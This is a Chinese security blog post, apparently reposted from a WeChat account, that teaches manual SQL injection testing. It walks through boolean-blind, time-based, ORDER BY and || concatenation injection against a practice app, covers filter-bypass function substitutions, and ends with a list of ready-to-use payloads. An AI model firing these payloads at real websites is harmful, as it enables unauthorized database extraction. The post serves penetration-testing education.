SQL注入个人手工测试思路

admin 2024年10月10日17:16:13评论32 views字数 5913阅读19分42秒阅读模式

前言

最近很多小伙伴问我sql注入怎么挖到的,为什么他遇不到,其实仔细点还是很容易就遇到的

手工测试的时候核心就是判断我们插入的特殊语句是否被执行了,例如插入单引号、if、延时语句等等不同的字符来观察页面回显。下面主要介绍一下我个人的手工挖掘测试思路

测试思路

正常来说每个参数我都会插入单引号、双引号、括号去观察页面回显,如果一点变化没有基本就没sql注入了,如果没过滤肯定会有异常,有过滤会显示拦截页面,就可以尝试能不能绕过

下面就是直接有报错信息回显,然后就是判断有没有回显位,这里先不考虑其他的,主要介绍布尔盲注的测试思路,布尔盲注注不出来其他不太可能注出来
SQL注入个人手工测试思路

盲注

最基础的布尔盲注


这里先说注user(),因为注user()不需要考虑太多,注表的话就需要考虑数据库类型了

假设一个最普通的注入是单引号闭合的,假如注释符不能用,我们还需要加个or去闭合后面的单引号,我们的注入思路应为
id=1'and 1=1 or 'a'='b  此时语句应为正常id=1'and 1=2 or 'a'='b  此时语句应为不正常这里and的优先级比or高,中间1=1true则返回true,否则返回falseid=-1'or 1=2 or 'a'='b  将前面改为-1然后用or也是可以的因为测试过程中网站返回的错误页面是各种各样的我们只需要确定1=1为一种,其他情况均和1=1返回的不同即可
里拿sql-lib演示一下
SQL注入个人手工测试思路
1=2则返回的则不同,可以确定存在sql注入

SQL注入个人手工测试思路

下面开始注user,最基本的语句应为
ascii(substr(user(),1,1))  返回的是从第一位开始截取1位字符的ascii码id=1'and 1=ascii(substr(user(),1,1)) or 'a'='b我们遍历and后面这个1,只有相等时才会正常,就会有一条数据返回的长度不一样
这就说明user()的第一位的ascii码为114,也就是r
SQL注入个人手工测试思路
我们遍历中间的1就可以得到后续的了,第二位ascii码为111,也就是o

SQL注入个人手工测试思路

当我们理解了上面的原理就好说了,然后基于上面的思路去拓展

例如当我们截取函数好多都被过滤的时候就可以使用like去注入
用户名是r开头,匹配不到就会返回fasle,只有第一位是r才会返回trueid=1'and user() like 'a%' or 'a'='b  %表示匹配所有id=1'and user() like 'a_' or 'a'='b  _表示匹配一个

没有匹配到返回为false

SQL注入个人手工测试思路

直接跑第一位,这里是因为mysql大小写不敏感
SQL注入个人手工测试思路

注第二位,前面加个r直接继续跑就行

SQL注入个人手工测试思路

时间盲注

时间盲注就要用到逻辑判断函数了,不过能用布尔就用布尔,时间盲注的话效率太低了
if(1=2,1,sleep(4))  相等正常,不等则延时4orcale中没有sleep,可以用下面这个DBMS_PIPE.RECEIVE_MESSAGE('a',4)='a' 延迟4
SQL注入个人手工测试思路

只有相等才不会延时

id=1'and if(114=ascii(substr(user(),1,1)),1,sleep(4)) or 'a'='b

SQL注入个人手工测试思路

不用if的话可以这样的思路
id=1'and sleep(5*(1)) or 'a'='b 延时5id=1'and sleep(5*(0)) or 'a'='b 不会延时

SQL注入个人手工测试思路

SQL注入个人手工测试思路

注user,只有相等时才会延时

id=1'and sleep(5*(ascii(substr(user(),1,1))=114)) or 'a'='b

SQL注入个人手工测试思路

逻辑判断函数

下面是最原始的函数用法,后续可以根据实际情况去改变返回的东西
如果1=1则返回1,否则返回2case when 1=1 then 1 else 2 end1=1返回1,否则返回2if(1=1,1,1)前面不为null就返回11,为null返回500IFNULL(11,500)如果相等返回为null,否则返回5NULLIF(5,10)orcale还可以使用decode函数,如果前面两个1相等则返回1,否则返回2decode(1,1,1,2)其他更多函数使用方法可以自己去看官方文档
例如NULLIF,当两个相等时返回false
SQL注入个人手工测试思路

不等时返回true

SQL注入个人手工测试思路

注user遍历前面数字即可

id=1'and NULLIF(1,ascii(substr(user(),1,1))) or 'a'='b

SQL注入个人手工测试思路

常用的函数

实战经常会碰到各种被过滤,那就要多了解几个函数使用方法
常用的注用户函数
user()、current_user()、system_user()、session_user()有的数据库则为user
字符过滤
过滤=号使用< > regexp like rlike Between过滤逗号union select 1,2,3union select * from ((select 1)a JOIN (select 2)b JOIN (select 3)c)%23substr(user(),1,1)等价于substr((user()) from 1 for 1过滤空格+ %00 %0A /**/ ()过滤or andand = &&、or = ||、xor = |、not = !还可以尝试一些编码,url、unicod、base64之类的
截取函数
length(user())         返回目标长度len(user)              同lengthsubstr(str,pos,len)    从pos开始的位置截取str字符串中len长度的字符substring()            同substrmid()                  同substrright(str,length)      返回字符串str最右边的length个字符ascii(str)             返回字符串最左边字符的ASCII码值         ord(str)               同asciilpad(str1,len,str2)    如果str1大于len,返回str1左边的len个字符,否则在str1左边填充str2至lenrpad(str1,len,str2)    跟lpad同理,不过是在右边填充instr (root,r)         返回字符串root中第一次出现r的位置,从1开始position('r' in 'root')返回r在root中首次出现的位置ltrim()和rtrim()       去除字符串左侧或右侧的空格或其他指定字符。insert(str,len,x,new)  用于在指定位置插入一个子字符串,并可选择替换原有的部分字符strcmp (str1,str2)     所有的字符串均相同,返回0,若根据当前分类次序,第一个参数小于第二个,则返回-1,其它情况返回1
关于trim和insert这个函数用的比较少,这里简单说下思路
下面是移除abcd句首的b,但是abcd并不以b为句首开头,所以会返回abcdtrim(leading 'b' from 'abcd'下面则会返回bcdtrim(leading 'a' from 'abcd'那我们的注入语句为id=1'and trim(leading 'b' from user())=trim(leading 'c' from user()) or 'a'='b
因为user第一位不是b也不是c,所以返回的字符串是一样的,返回为true,假如第一位是b那他就会返回false了
SQL注入个人手工测试思路
我们遍历后面那个字符,第一位为r
SQL注入个人手工测试思路
第二位就直接前面加个r继续跑,为o

SQL注入个人手工测试思路

SQL注入个人手工测试思路
还有insert
insert((insert(目标字符串,1,截取的位数,'')),2,9999999,'') 这里截取的位数从0开始数只需要记住下面返回的是user的第一位insert((insert(user(),1,0,'')),2,9999999,'')注入语句为id=1'and insert((insert(user(),1,0,'')),2,9999999,'')='y' or 'a'='b
遍历y即可,想返回ascii码前面再加就行
SQL注入个人手工测试思路
其他常用函数
concat(str1,str2)        函数用于连续两个或多个字符串(也可以是列),形成一个字符串group_concat(str1,str2)  连接str1,str2,如果有多行结果用逗号分割conv(str,m,n)   将str从m进制转换为n进制hex()           十六进制编码lower()         转成小写字母upper()         转成大写字母char(num)       将ASCII码转换为字符串exp(710)        计算以e为底的710次方,临界值709cot(1)          表示角度为1弧度的角的余切值,cot(0)无意义会报错power(2,99999)  计算299999次方UpdateXml()     用来改变文档中符合我们条件的值extractvalue()  从目标XML中返回符合我们条件的字符串greatest(n1,n2) 返回最大的值least(n1,n2,n3) 返回最小的值

排序注入

排序注入就是我们传的参数值在order by后面,因为一般order by后面跟的是列名或者数字,不能是字符串,默认就不会预编译,就很可能发生sql注入

select * from 表名 order by 列名或者数字(我们可控) desc一般参数为sort、order或sortname,有一个参数值为desc或asc一般测试的时候加一个特别大的数字来观察页面是否发生异常
这里拿sql-lib演示,一般都会存在id这个列名
SQL注入个人手工测试思路
为username时排序结果改变了,不知道列名的时候也可以在返回包里寻找
SQL注入个人手工测试思路

这里不同的排序返回的大小是不同的就可以来进行注入

这时候就要用到条件判断函数

例如if,这里只返回5条数据,不然不管怎么排序返回包都是一样大,一般正常测试中也会有参数控制返回几条数据

SQL注入个人手工测试思路

1=2就是另外一种结果

SQL注入个人手工测试思路

注user

sort=if(114=ascii(substr(user(),1,1)),id,username)
SQL注入个人手工测试思路

用case when也是一个道理,一般这个不会过滤

sort=case when 1=1 then id else username end

sort=case 1 when 1 then id else username end 过滤=号可以这样写sort=,case 1 when 1 then id else username end 有时候前面还需要加个逗号
SQL注入个人手工测试思路

也可以利用数据库报错

sort=case 1 when 1 then id else exp(710) endsort=case 1 when 1 then id else cot(0endsort=case 1 when 1 then id else power(2,9999) end原理就是else后面这个函数的值会特别大或者没有意义就会异常
SQL注入个人手工测试思路
1=1则正常

SQL注入个人手工测试思路

时间盲注也是一个道理,不过基本用不到还容易延迟到死

还可以利用rand函数

sort=rand(1=1)sort=rand(1=2)sort=rand(114=ascii(substr(user(),1,1)))
相等返回这个排序
SQL注入个人手工测试思路
其他情况返回另外的排序结果
SQL注入个人手工测试思路
order by后面是不能用联合查询的,有报错回显的话也是可以用报错函数的
sort=updatexml(1,concat(0x7e,(select user()),0x7e),1)0x7e"~"符号的16进制,在这作为分隔符

SQL注入个人手工测试思路

||连接符

在orcale、PostgreSQL、DB2等数据库中||为字符串连接符,例如当一个参数为id=1,我们可以这样的思路去测试

id=1'||exp(710)||'id=1'||cot(0)||'id=1'||power(2,99999)||'注入思路跟上面order by差不多id=1'||case when 1=1 then power(2,99999) else 1 end||' 报错id=1'||case when 1=2 then power(2,99999) else 1 end||' 正常注user也是一个道理id=1'||case when ascii(substr(user,1,1))=17 then power(2,99999) else 1 end||'

个人常用的测试payload

判断'/**/or/**/DBMS_PIPE.RECEIVE_MESSAGE('a',4)='a' AnD '' like '%case/**/when/**/1=1/**/then/**/1/**/else/**/0/**/end'AND updatexml(1,concat(0x7e,(select database(),0x7e),1)--+AND if(1=1,sleep(5),1)--+'AND +'a'='a'+OR+'a'='a')and/**/1=1/**/and/**/('a'='a')/**/AND/**/('a'='b'/**/and/**/'a'='b'+or/**/'a'='a'OR 'a' in 'a' OR 'a' in 'aCASE 1 WHEN 1 THEN 1 ELSE 1 END||case+when+1=1+then+1+else+exp(1000)+end'||cot/**/(0)||''||DECODE(1,2,1,cot/**/(0))||',case+when+1=1+then+cot(0)+else+exp(800)+end数据库报错exp(710)cot(0)POW(1,1,1,)pow(1+(1=1),99999)power(9999,9999)AND+1=extractvalue(1,concat(0x7e,user(),0x7e))注数据 ord(mid(user(),1,1))=11ascii(mid(user()+from+10+for+1))=17ascii(substr(user,1,1))=17left(user,1)='T'instr(user,'A')=1用户user()  current_user()  system_user()  session_user()  user

总结

以上就是个人的sql注入总结,那么如何变成高手呢?最好是自己搭几个数据库,多看官网的文档加GPT会说的很详细,多去自己试试就好,很多语句函数我自己都理解的不透彻。后期写一下各个数据库注表以及特殊的手法和绕waf思路。

原文始发于微信公众号(起凡安全):SQL注入个人手工测试思路

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月10日17:16:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL注入个人手工测试思路https://cn-sec.com/archives/3249134.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息